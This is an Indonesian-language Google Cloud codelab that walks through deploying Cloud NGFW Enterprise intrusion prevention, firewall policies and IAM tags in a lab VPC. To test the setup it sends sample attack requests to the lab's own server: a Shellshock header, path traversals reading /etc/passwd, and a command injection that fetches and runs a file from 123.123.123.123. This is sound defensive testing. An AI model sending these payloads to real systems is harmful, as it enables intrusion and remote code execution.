1. Pengantar
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang menyeluruh untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.
Cloud NGFW memiliki manfaat berikut:
- Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mewujudkan arsitektur keamanan zero-trust.
- Penyederhanaan konfigurasi dan deployment: Cloud NGFW menerapkan kebijakan firewall hierarkis dan jaringan yang dapat ditambahkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
- Kontrol terperinci dan segmentasi mikro: Kombinasi kebijakan firewall dan Tag yang diatur Pengelolaan Akses dan Identitas (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan dan organisasi Virtual Private Cloud (VPC).
Cloud NGFW tersedia dalam tingkat berikut:
- Dasar-Dasar Firewall Cloud Next Generation
- Standar Firewall Cloud Next Generation
- Firewall Enterprise Cloud Next Generation
Cloud NGFW Enterprise
Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), yakni kemampuan Lapisan 7, ke fabric Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk memungkinkan pemeriksaan traffic terenkripsi TLS, tetapi berada di luar cakupan codelab ini (lihat Codelab Cloud NGFW Enterprise dengan TLS Inspection).
Kini Anda dapat men-deploy pemeriksaan Layer 7 Next Generation Firewall (NGFW) yang andal dengan kontrol terperinci, tanpa perlu mengubah arsitektur jaringan atau konfigurasi pemilihan rute Anda.
Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda harus melakukan tugas berikut:
- Buat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
- Jika ingin, buat Kebijakan Inspeksi TLS (tidak dibahas dalam codelab ini)
- Jika ingin, buat Trust Config (tidak dibahas dalam codelab ini)
- Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
- Buat perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada guna menentukan profil pencegahan ancaman untuk berbagai jalur traffic.
Kebijakan firewall jaringan
Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan tersebut dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait dengannya. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) pada aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.
Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.
Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:
- Kebijakan Firewall Hierarkis
- Aturan Firewall VPC
- Kebijakan Firewall Jaringan ( Global dan Regional)
Kebijakan firewall hierarkis didukung di node folder dan organisasi dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah bahwa aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dikaitkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.
Terakhir, kita juga memiliki aturan firewall implisit yang disertakan dengan setiap jaringan VPC:
- Aturan keluar yang tindakannya diizinkan, tujuannya adalah 0.0.0.0/0
- Aturan masuk yang tindakannya ditolak, sumbernya adalah 0.0.0.0/0
Secara default, urutan penerapan ditampilkan dalam diagram berikut:
Perlu diperhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan perintah penerapan kapan saja dengan perintah gcloud.
Tag yang diatur IAM
Tag baru yang terintegrasi dalam aturan kebijakan firewall jaringan adalah resource pasangan nilai kunci yang ditentukan di organisasi atau level project dalam hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM, seperti namanya, yang menentukan siapa yang dapat melakukan apa pada tag. Izin IAM, misalnya, memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Setelah Tag diterapkan ke resource, aturan firewall jaringan dapat menggunakannya untuk mengizinkan dan menolak traffic.
Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diturunkan di seluruh hierarki dari induknya. Akibatnya, tag mungkin dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.
Tag tidak sama dengan tag jaringan. Yang disebut terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; terhubung dengan instance dan menghilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.
Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.
Yang akan Anda bangun
Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC dengan konektivitas publik, serta akan mendemonstrasikan bagaimana Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:
- Memeriksa aliran intra-VPC/subnet [Timur-Barat]
- Memeriksa aliran masuk dari Internet [Utara-Selatan]
Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall yang mencakup 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag. TLS Inspection tidak disertakan dalam codelab ini.
Basis aturan kebijakan firewall jaringan akan serupa dengan tabel di bawah:
Prioritas | Arah | Target | Sumber | Tujuan | Tindakan | Jenis |
100 | Keluar | Quarantine_Tag | Semua | Semua | Tolak | Essentials |
1000 | Masuk | Server_Tag | Rentang Health Check | Semua | Izinkan | Essentials |
2000 | Masuk | Semua | Rentang Identity-Aware Proxy | Semua | Izinkan | Essentials |
3000 | Masuk | Semua | Geografis, GCTI | Semua | Tolak | Standar |
4000 | Keluar | Semua | Semua | Geografis, GCTI | Tolak | Standar |
5000 | Keluar | Semua | Semua | FQDN update sistem | Izinkan | Standar |
6000 | Masuk | Server_Tag | 10.0.0.0/24 | Semua | IPS | Enterprise |
7.000 | Masuk | Server_Tag | CloudNAT_IP | Semua | IPS | Enterprise |
Yang akan Anda pelajari
- Cara membuat kebijakan firewall jaringan global
- Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan
- Cara mengonfigurasi dan menggunakan Intrusion Prevention Service Cloud NGFW Enterprise
Yang Anda butuhkan
- Project Google Cloud
- Pengetahuan dalam men-deploy instance dan mengonfigurasi komponen jaringan
- Pengetahuan konfigurasi firewall VPC
2. Sebelum memulai
Membuat/memperbarui variabel
Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.
Di Cloud Shell, jalankan perintah di bawah dengan mengganti informasi dalam tanda kurung sesuai kebutuhan (lewati penyetelan project jika yang diinginkan sudah ditetapkan). Variabel yang berbeda digunakan untuk resource tingkat organisasi jika beberapa, mis. endpoint firewall diperlukan.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Mengaktifkan API
Aktifkan API jika Anda belum melakukannya:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Profil Keamanan Perusahaan NGFW dan Pembuatan Endpoint Cloud NGFW
Karena pembuatan Endpoint Cloud NGFW Enterprise memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint dibuat.
Buat Profil Keamanan dan Grup Profil Keamanan:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Pastikan resource berhasil dibuat:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Output yang diharapkan:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Buat endpoint Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (STATUS: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Proses pembuatan endpoint memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.
5. Penyiapan Dasar
Lanjutkan ke bagian berikut jika Anda ingin membuat resource dasar secara manual.
Jaringan dan subnet VPC
Jaringan VPC dan subnet
Buat subnet dan jaringan VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Buat Cloud Router dan gateway Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Santansi
Buat instance klien dan server web:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
P Tag tingkat program
Tetapkan izin tagAdmin dan/atau tagUser kepada pengguna jika diperlukan:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Buat Kunci dan nilai Tag level project:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Mengikat tag ke instance:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Kebijakan firewall jaringan global
Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Buat aturan Cloud Firewall Essential untuk menolak traffic dari instance yang dikarantina (dibuat sebagai contoh saja, tidak digunakan dalam codelab ini) dan mengizinkan traffic dari rentang health-check dan identity-aware proxy:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Membuat aturan Standar Cloud Firewall untuk menolak traffic masuk dan keluar dari/ke negara yang diembargo, IP berbahaya yang diketahui, dan node keluar ToR; dan hanya mengizinkan traffic keluar ke FQDN tertentu untuk update sistem (dibuat sebagai contoh saja, tidak digunakan dalam codelab ini):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Buat aturan Cloud Firewall untuk mengizinkan traffic masuk ke timur-barat / intra-subnet dan utara-selatan / internet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Kaitkan kebijakan firewall jaringan ke jaringan VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Load Balancer Jaringan TCP/UDP Eksternal
Cadangkan alamat IP eksternal serta buat grup instance dan uji respons:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Buat layanan backend dan aturan penerusan:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Asosiasi Endpoint Perusahaan Cloud NGFW
Tentukan ulang variabel lingkungan jika diperlukan.
Pastikan pembuatan Cloud Firewall Endpoint telah berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Kaitkan endpoint Cloud NGFW Enterprise ke jaringan VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (status yang diharapkan adalah CREATING selama proses pembuatan):
gcloud network-security firewall-endpoint-associations list
Output yang diharapkan:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Output yang diharapkan:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Aturan Inspeksi Perusahaan Cloud NGFW
Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda perlu menentukan variabel lagi di tab baru):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Tentukan variabel yang diperlukan dalam sesi SSH dan tetapkan variabel (pastikan nilainya benar):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
melakukan curl kedua IP untuk mengonfirmasi bahwa keduanya dapat dijangkau:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Hasil yang diharapkan untuk kedua permintaan curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Kirim contoh serangan ke IP server internal (traffic Timur-Barat / intra-VPC). Server web harus merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7 yang diterapkan:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (traffic masuk Utara-Selatan), dan server web juga akan merespons semua permintaan:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Hasil yang diharapkan untuk IP publik dan pribadi:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Beralih kembali ke Cloud Shell dan perbarui aturan masuk yang ada untuk mengaktifkan pemeriksaan L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Secara opsional, jelaskan aturan firewall untuk memverifikasi bahwa keduanya berhasil diperbarui:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Output yang diharapkan:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Aturan 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Output yang diharapkan:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Beralih kembali ke VM klien dan kirim ulang contoh serangan ke IP server internal (pemeriksaan Timur-Barat / Intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Kirim ulang contoh serangan ke IP server eksternal melalui Cloud NAT (pemeriksaan masuk Utara-Selatan):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Tidak ada respons yang diterima untuk serangan pertama sesuai output yang diharapkan di bawah ini, mengonfirmasi bahwa serangan dengan tingkat keparahan tinggi sekarang diblokir.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Buka Network Security > Ancaman di Cloud Console untuk memverifikasi log (Anda mungkin perlu me-refresh beberapa kali jika serangan belum ditampilkan).
Pilih salah satu serangan dan klik "Lihat log audit" di sisi kanan (buka di tab baru untuk beralih kembali dengan mudah). Luaskan serangan untuk menampilkan detailnya:
Atau, ganti filter Log Explorer dengan kueri di bawah ini:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Entri log ancaman akan terlihat seperti di bawah ini:
Paket yang ditangkap Cloud Firewall dapat diverifikasi menggunakan filter Log Explorer di bawah ini (berguna untuk memecahkan masalah):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Lanjutkan ke pemeriksaan traffic Internet (opsional) atau tutup sesi SSH dan lanjutkan ke bab berikutnya untuk mengetahui langkah-langkah pembersihan.
[Opsional] Pemeriksaan traffic internet
Seperti yang telah diverifikasi di bagian sebelumnya, sejauh ini alur yang diperiksa adalah intra-subnet/VPC (Timur-Barat) dan traffic masuk dari Internet (masuk Utara-Selatan). Cloud NGFW Enterprise juga dapat dikonfigurasi untuk memeriksa semua traffic internet (outcome North-South) dengan membuat aturan traffic keluar baru menggunakan Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Beralihlah kembali ke VM klien dan kirim ulang serangan dengan tingkat keparahan tinggi ke IP server eksternal:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Output yang diharapkan:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Beralihlah ke tab Ancaman di Cloud Console untuk memverifikasi log (Anda mungkin perlu memuat ulang beberapa kali). Serangan seharusnya dapat diidentifikasi dan dicatat lagi, tetapi sekarang IP sumbernya bersifat internal karena aturan traffic keluar dipicu terlebih dahulu:
Tutup sesi SSH, lalu lanjutkan ke bagian berikutnya untuk melakukan langkah-langkah pembersihan.
8. Langkah-langkah pembersihan
Pembersihan Komponen Cloud NGFW Enterprise
Cantumkan pengaitan Cloud NGFW Enterprise yang ada:
gcloud network-security firewall-endpoint-associations list
Hapus pengaitan Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Cantumkan endpoint Cloud NGFW Enterprise yang sudah ada:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Hapus endpoint Cloud NGFW Enterprise, yang dapat memerlukan waktu sekitar 20 menit:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Pastikan bahwa Cloud NGFW Enterprise telah dihapus dengan menjalankan perintah di bawah:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Hapus Grup Profil Keamanan dan Profil Pencegahan Ancaman:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Pembersihan Penyiapan Dasar
Lanjutkan ke langkah berikutnya jika Anda ingin menghapus resource dasar.
